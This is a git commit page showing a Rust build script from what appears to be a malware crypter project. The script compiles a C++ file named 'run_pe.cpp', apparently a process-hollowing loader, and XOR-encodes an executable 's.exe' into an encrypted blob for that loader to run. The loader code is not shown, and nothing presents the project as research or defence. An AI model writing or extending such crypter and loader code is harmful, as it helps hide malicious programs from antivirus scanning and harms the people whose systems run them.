initial commit
This commit is contained in:
24
build.rs
Normal file
24
build.rs
Normal file
@@ -0,0 +1,24 @@
|
||||
use std::{fs, path::Path};
|
||||
|
||||
fn main() {
|
||||
cc::Build::new()
|
||||
.cpp(true)
|
||||
.file("cpp/run_pe.cpp")
|
||||
.compile("peffi");
|
||||
|
||||
let in_path = Path::new("exe/s.exe");
|
||||
|
||||
let key = 0x42;
|
||||
|
||||
let mut bytes = fs::read(in_path).expect("failed to read input");
|
||||
xor_crypt(bytes.as_mut_slice(), key);
|
||||
|
||||
let out_path = Path::new("crypt.bin");
|
||||
fs::write(out_path, bytes).expect("failed to write");
|
||||
}
|
||||
|
||||
fn xor_crypt(input: &mut [u8], key: u8) {
|
||||
for byte in input.iter_mut() {
|
||||
*byte ^= key;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user